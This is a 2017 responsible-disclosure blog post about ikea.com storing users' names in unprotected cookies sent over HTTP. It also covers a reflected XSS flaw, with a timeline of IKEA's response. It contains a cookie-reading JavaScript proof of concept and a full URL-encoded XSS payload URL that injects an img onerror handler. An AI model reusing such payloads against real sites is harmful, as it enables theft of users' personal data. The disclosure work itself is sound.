Case #9: IKEA is telling your name to everyone on the Internet

Ever been logged in at ikea.com? Then there's a chance you don't surf very anonymously.

Published: Mon, October 9, 2017, 07:35
Category:
Security
Tags:
Security Monday
Information leak
XSS
OWASP 2013 A3

tl;dr 🔗

ikea.com stores logged-in users' names in a cookie that is sent unencrypted over http. They also had an XSS vulnerability that made it easy to get hold of the name.

Summary 🔗

Who: IKEA
Severity level: Low to medium
Reported: August 2017
Reception and handling: Poor
Status: Partially fixed
Reward: A thank you
Issue: Cookie with full name sent over HTTP and XSS to get hold of it.

Background 🔗

I have both ordered stuff online at ikea.com and also designed kitchen and walk-in warderobe using their planners. That means that I have an online account there.

I have always liked IKEA. Lots of cheap furnitures and other products, and mostly good value for the money. Even though they figured out warehouses a long time ago I have bad experiences with their online store. They didn't deliver the products on the estimated dates, they didn't deliver the right amount of stuff and they were unable to deliver the whole order, making me stuck with stuff I had to store and couldn't start to assemble.

Approach (technical stuff) 🔗

I browsed ikea.com while having the browser development tools open.

Looking at the site's cookies I noticed that some of the values clearly was Base64 encoded. They store so many cookies that there might be some more hidden treasures, but I decoded a few and found that my full name and selected IKEA warehouse was stored in one of them. Also there was one without any encoding with my postal code and place.

Using a script like the following is a quick and dirty way of getting the cookie names and values (though some have parts of the values as BASE64 encoded):

document.cookie.split(';').forEach(
    function(cookie){
        var parts = cookie.split('=',2);
        console.log(
            parts[0] + ' = '
             + decodeURIComponent(
                 function(parts){
                    try{
                        return parts[1] + ' / '
                        + atob(parts[1]);
                    }catch(e){
                        return parts[1];
                    }
                }(parts)));
    }
);

decodeURIComponent() is used for decoding the URL encoded values.
atob() is used for decoding the Base64 encoded values.

ikea.com is served both with and without SSL. The cookies containing name and location is not flagged with either HttpOnly or Secure. That means two things; your name is sent unencrypted over the Internet if you type in ikea.com in your browser, and the cookie can be stolen via XSS.

XSS 🔗

I didn't find any XSS vulnerabilities, but a quick Google search led me to https://www.openbugbounty.org/search/?search=ikea.com&type=host telling about several possibilities for XSS.

There's nothing like a proper "proof of concept" when reporting a bug or security issue, so I created a small JavaScript for fetching a user's name:

var index;
var key = 'user_info_16=';
index = document.cookie.indexOf(key);
if (index === -1) {
    alert('You have not visited ikea.com, have you?');
} else {
    var temp = document.cookie.substring(index + key.length);
    temp = temp.substring(0, temp.indexOf(';'));
    if (temp === 'notloggedin') {
        alert('You are not logged in, are you?');
    } else {
        temp = atob(temp);
        temp = decodeURIComponent(temp);
        temp = temp.split(';');
        alert('Is your name ' + temp[0] + ' ' + temp[1] + '?');
    }
}

The script searches for the user_info_16 cookie, decodes the Base64 encoding and extracts the user's name and presents it in a dialog.

Removing the line breaks, URL encoding and appending it to the URL with the XSS vulnerability left me with the URL http://www.ikea.com/no/no/catalog/categories/departments/bedroom/tools/cobe/roomset/20161_cosl01a/%252Fpl%252Fpl%252Fcatalog%252Fcategories%252Fdepartments%252Fbedroom%252Ftools%252Fcobe%252Froomset%252F20161_cosl01a%253Fcid%253Dpl%25253Eot%25253Egoogle_plus%25253Eikea_share/u0026gsrc/u003d3p/u0026ic/u003d1/u0026jsh/u003dm;/_/scs/apps-static/_/js/k%3Doz.gapi.da.V3wBH64AFtA.O/m%3D__features__/am%3DAQ/rt%3Dj/d%3D1/rs%3DAGLTcCPcFVjcjQUijyKE8VUwPY2wbCZTVAp76e5%2522%253e%253cimg%2520src%253Da%2520onerror%253D%2522var%2520index%253Bvar%2520key%253D%2527user_info_16%253D%2527%253Bindex%253Ddocument.cookie.indexOf(key)%253Bif(index%253D%253D%253D-1)%257Balert(%2527You%2520have%2520not%2520visited%2520ikea.com%252C%2520have%2520you%253F%2527)%253B%257Delse%257Bvar%2520temp%253Ddocument.cookie.substring(index%252Bkey.length)%253Btemp%253Dtemp.substring(0%252Ctemp.indexOf(%2527%253B%2527))%253Bif(temp%253D%253D%253D%2527notloggedin%2527)%257Balert(%2527You%2520are%2520not%2520logged%2520in%252C%2520are%2520you%253F%2527)%253B%257Delse%257Btemp%253Datob(temp)%253Btemp%253DdecodeURIComponent%2520(temp)%253Btemp%253Dtemp.split(%2527%253B%2527)%253Balert(%2527Is%2520your%2520name%2520%2527%252Btemp%255B0%255D%252B%2527%2520%2527%252Btemp%255B1%255D%252B%2527%253F%2527)%253B%257D%257D%2522%253E%252F.

Now, browsers today often have often implemented some sort of XSS auditor to protect the user, so the above script didn't work out of the box with browsers built on later versions of Chromium. So to use this in an attack one would probably have to some browser-depended adjustments. Using an XSS Filter Evasion Cheat Sheet will probably always find a vulnerability for any browser brand and version.

The URL worked just fine in the latest version of Firefox, as seen in the screenshot.

Security issues 🔗

The three issues in question were these:

  • Logged-in users' full name is sent unencrypted over the Internet (not fixed)
  • User's location used for calculating postage is sent unencrypted over the Internet (not fixed)
  • It was possible for any website to retrieve your name (fixed (at least for the URL reported))

Reception and handling 🔗

Day zero 2017 🔗

I searched and searched to find some sort of contact point that wasn't the regular customer service phone. I failed. But I found a list of press contacts and tried the first one. I never got an answer.

Day 5 🔗

I sent an e-mail to the second press contact with the first one on copy. I never got an answer.

Day 18 🔗

I sent an e-mail to the third press contact with the two first ones on copy. I also mentioned that I was now going to give up.

Day 19 🔗

I didn't hear back from any of the press contacts directly, but I did receive an e-mail from an "mCommerce Specialist" asking for details. I wrote back with the technical details. It took me 19 days to be able to give details about the issues.

I got a reply the same day saying that they were going to look into this. They also said that reports like this should go through their press center. It would be nice if they would write this somewhere on their website, and that the press contacts actually responded.

Day 59 🔗

I asked if they were actually going to do something about this, if I should wait to write about these issues.

Day 61 🔗

I got a longer good answer explaining more about the challenges and timeline. They are working on it, but it probably won't be fixed anytime soon.

Conclusion 🔗

As mentioned before, you should assume that anyone who wants to, knows everything about you and everything you do. Even when you think you are anonymous you might not be just that.

If you are concerned about privacy you want to both log out of sites and delete the cache.

I also hope that we'll soon see most websites switch to secure communications only and leave http behind.

Get notified when there are new posts! :-)